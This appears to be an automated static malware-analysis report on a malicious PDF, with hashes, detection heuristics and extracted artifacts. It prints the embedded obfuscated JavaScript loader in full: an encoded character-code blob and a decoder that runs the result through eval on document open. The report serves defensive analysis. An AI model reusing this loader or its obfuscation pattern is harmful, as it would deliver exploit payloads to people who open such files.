Malicious PDF — malware analysis report

Static analysis result for SHA-256 a4b664730615c8c9…

MALICIOUS

PDF

19.4 KB Created: 2012-09-17 23:33:20 +04:00 Authoring application: Adobe Acrobat 10.0 (via Acrobat Web Capture 10.0) First seen: 2013-09-01
MD5: fa04b9f886424bdfbbd74ba685592754 SHA-1: 1a9756e07eaeccbc9f4c368d0d3643ec08a6e2b5 SHA-256: a4b664730615c8c92d551ced8362190965117c25d55a4731f235fe677cb7227b
158 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file was flagged as malicious by an ML classifier and contains embedded JavaScript. The JavaScript stream, named 'javascript_obj0019_000.js', is obfuscated and likely responsible for downloading and executing a second-stage payload. The presence of PDF_JAVASCRIPT and PDF_JS heuristics further supports this assessment.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 6

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
     s+=String.fromCharCode\(p\(a[i]+a[i2],30+1\)\);
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text
    • http://www.iec.chIn PDF document text

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0019_000.js pdf-javascript-stream PDF /JS object 19 at offset 0x2DE 8316 bytes
SHA-256: 7d0859516f6eab32c1472c740c374cb5b93f33fc8a2e7a077ec0fda76475d0e0
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s). Carved artifact contains 10 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
xx='b';
a='353d3m3a1u18163o1p1k1n1n163o3936381l163o1p1m3936163o1o1m381l163o381q1k1l163o1k1k1m39163o1n1l361h163o1l1h1p35163o1p351k1h163o1h361l1h163o1o1h1p35163o1m1n1i36163o1o1n1p35163o1k1k1h1p163o1n1n3735163o1m381p35163o1h1k1k36163o1k1k1o1l163o1p1i1j36163o1i1m3838163o39391i1h163o351p3939163o1l1h1p35163o361k1k1h163o1k1q1l1n163o1o1m1h1n163o1p1o3935163o1j1l1k1l163o381l1p1m163o1m1i1o1m163o3835381q163o1m1i1l36163o1p351m1n163o1k361o1m163o1o1l1p35163o1o1p1k1m163o391m1h1k163o1p351m1n163o1j1h1o1n163o391m1h1k163o361q1k1k163o1l1i1l1q163o34373936163o361m1h1k163o37351k1k163o35381h39163o1k1p1i1h163o1o1l391j163o361i1h1p163o1h373635163o37341h1k163o38351l1h163o1k35391i163o1o1m1i39163o1m38381n163o1m381p35163o1h1k1j1l163o1n1n3737163o1h361p35163o1p371l35163o38361l1n163o1m1l3939163o1h361j1l163o371p1p35163o37371h1k163o1h1l1p35163o1h1k1p35163o3435361m163o1m1q1m38163o3835361k163o34371m1k163o1n1p1p35163o1p1h1j1h163o1h361o37163o1o1l1k1k163o1q1n1h1k163o391k3835163o1n1p1p35163o1p351h1p163o1n34391o163o1m1q1h1m163o1q1p381p163o39393939163o381j3939163o381p391q163o1h1h1h1h163o1h1h1h1h163o1m1h1m1p163o1l1h1n34163o39391n1p163o1h1h1h1h163o1m1h1h1h163o361h1p1k163o1m1h1i1q163o1p351m1m163o1p353836163o1i1h1m38163o361k1p1k163o39391h1m163o1n1p381k163o1n381n39163o1h1h1h1h163o1o1m1n1p163o1n361o1j163o1m1l1n37163o1i1n3939163o361l1p1k163o1p351h1p163o381p381p163o39391n1i163o39393939163o1h1j3835163o1o1j3835163o38361p1i163o1h1i1h1l163o1h1h1h1h163o1m361p37163o1h361j1l163o1h1l361o163o1o1j1j1l163o1n1o1n1m163o361o1o1k163o1j1l1l1l163o1o1n1h1l163o1k1k1o1j163o361o1k1j163o1j1l1l1l163o1j1h1h1p163o1o1k1j37163o1m1k1j1h163o391p1n1p163o1h1h1h1h163o39391h1h163o1h361m1n163o381p1p35163o361q1k1k163o361o1m1i163o1i371l1l163o1o1o1h1h163o1n1j1o1h163o361o1o1l163o1i371l1l163o1j381h1m163o1n361n1l163o361n1n36163o1i371l1l163o1h1h1h1q163o1p341m1q163o1h1l361i163o1p1p1k1h163o1i371l1l163o1l1i1h1l163o1n341m1i163o1n341h1h163o1m1k1h1h163o1n341m1o163o39391h1h163o1i1l1m1n163o361h1p1m163o1i1n1o1m163o1h1h1n34163o39391m1k163o1h1l1m1n163o1h1h1n34163o38351p1k163o1m1k1h36163o1m1n3939163o1p1k1h1l163o1h36361k163o1h1j3835163o1i1k3835163o1p1h1l1o163o1h1h1k39163o39341o1m163o1p1h1l1o163o1h1h1k39163o361l1o1m163o1h1h1n34163o39381n34163o1m1n3939163o381p1h1p163o39381q36163o39393939163o1l381p38163o38361h38163o39381q1p163o1h381p34163o1n391p1q163o35371h1i163o36341k1k163o1m351p34163o361n1i35163o1o1q1l1n163o1i341k1n163o1o1h1j39163o1o1l1n1p163o1o1h1o1l163o1j391k34163o1k1m1j39163o1n1n1k1h163o1k1l1n1l163o1k1o1k1n163o1n1i1k1h163o1n1j1k1q163o1k1l1n1n163o1n1l1j38163o1o1k1n1m163o1n1q1o1l163o1n391n38163o1n391n1k163o1n371o1k163o1n1k1n1q163o1j381n39163o1o1j1n39163o1j391n1o163o1o1j1n1i163o1n1q1o1l163o1n361n1k163o1o1k1n1m163o1m1j1j39163o1l371l1m163o1m1j1l1i163o1l1i1l35163o1l361l1j163o1j381m1q163o1m1j1l1l163o1m1o1l1i163o1j381k1l163o1o1p1n1m163o1h1h1n1m163o1h1h1h1h181s393o3h363n3c3i3h11383t3p3l193l341d3k3s1a3u3q3'+xx+'3c3f38193l341f3f383h3a3n3'+xx+'1'+xx+'1j1t3k3s1a3u3l341c1u3l34413l341u3l341f3m3o353m3n3l3c3h3a191h1d3k3s1g1j1a1s3l383n3o3l3h113l3441393o3h363n3c3i3h11353r191a3u3p343l11373e3a1u3h383q11233l3l343s191a1s3p343l113p3q1u1h3r1h361h361h361h361s3p343l113437373l1u1h3r1l1h1h1h1h1h1s3p343l113j343s3f3i34371u3o3h383m36343j3819353d3m3a1a1s3p343l113m36323f383h1u3j343s3f3i34371f3f383h3a3n3'+xx+'1'+xx+'1j1s3p343l113k3s1u3437373l1e193m36323f383h1c1h3r1k1p1a1s3p343l113s343l3m3j1u3o3h383m36343j381913163o1q1h1q1h163o1q1h1q1h131a1s3s343l3m3j1u383t3p3l193s343l3m3j1d3k3s1a1s3p343l11363i3o3h3n1j1u193p3q1e1h3r1l1h1h1h1h1h1a1g3437373l1s393i3l193p343l11363i3o3h3n1u1h1s363i3o3h3n1t363i3o3h3n1j1s363i3o3h3n1c1c1a3u373e3a2t363i3o3h3n301u3s343l3m3j1c3j343s3f3i3437413p343l113i3p383l393f3i3q1u3o3h383m36343j381913163o1h361h36163o1h361h36131a1s3q3'+xx+'3c3f38193i3p383l393f3i3q1f3f383h3a3n3'+xx+'1t1l1l1q1m1j1a3u3i3p383l393f3i3q1c1u3i3p383l393f3i3q413n3'+xx+'3c3m1f363i3f3f34352l3n3i3l381u253i3f3f34351f363i3f3f38363n273g343c3f2'+xx+'3h393i193u3m3o353d1r13131d3g3m3a1r3i3p383l393f3i3q411a41393o3h363n3c3i3h113j3l3c3h3n39191a3u3h3i3j1u3o3h383m36343j381913163o1h231h23163o1h231h23163o1h231h23163o1h231h23131a1s3p343l113j343s3f3i34371u3o3h383m36343j3819353d3m3a1a1s3'+xx+'38343j353f3i363e1u3h3i3j1c3j343s3f3i34371s353c3a353f3i363e1u3o3h383m36343j381913163o1h231h23163o1h231h23131a1s3'+xx+'383437383l3m3c3t381u1j1h1s3m3j3l343s1u3'+xx+'383437383l3m3c3t381c3'+xx+'38343j353f3i363e1f3f383h3a3n3'+xx+'1s3q3'+xx+'3c3f3819353c3a353f3i363e1f3f383h3a3n3'+xx+'1t3m3j3l343s1a3u353c3a353f3i363e1c1u353c3a353f3i363e41393c3f3f353f3i363e1u353c3a353f3i363e1f3m3o353m3n3l3c3h3a191h1d3m3j3l343s1a1s353f3i363e1u353c3a353f3i363e1f3m3o353m3n3l3c3h3a191h1d353c3a353f3i363e1f3f383h3a3n3'+xx+'1e3m3j3l343s1a1s3q3'+xx+'3c3f3819353f3i363e1f3f383h3a3n3'+xx+'1c3m3j3l343s1t1h3r1l1h1h1h1h1a3u353f3i363e1u353f3i363e1c353f3i363e1c393c3f3f353f3i363e413g383g1u3h383q11233l3l343s191a1s393i3l193c1u1h1s3c1t1i1l1h1h1s3c1c1c1a3u3g383g2t3c301u353f3i363e1c3'+xx+'38343j353f3i363e413p343l113h3o3g1u1i1j1q1q1q1q1q1q1q1q1q1q1q1q1q1q1q1q1q1q1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1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s='';
if((event.name+'').substr(0,3)=='O'+'pe'){t=event;}
p=t.target['p'+'arseInt'];
for(i=0;i<a.length;i+=2){
	jj = 0;
	i2=i+1;
	s+=String.fromCharCode(p(a[i]+a[i2],30+1));
}
t.target[(xx=='b')?'eval':0](s);
icc_00_off00002a15.icc pdf-icc-profile PDF ICC profile at offset 0x2A15 408 bytes
SHA-256: 653b586c4707574ffcd648ba35494daed2c76ceafcf4c07d315ed961b1dc347f
icc_01_off00002cb0.icc pdf-icc-profile PDF ICC profile at offset 0x2CB0 3144 bytes
SHA-256: 2b3aa1645779a9e634744faf9b01e9102b0c9b88fd6deced7934df86b949af7e

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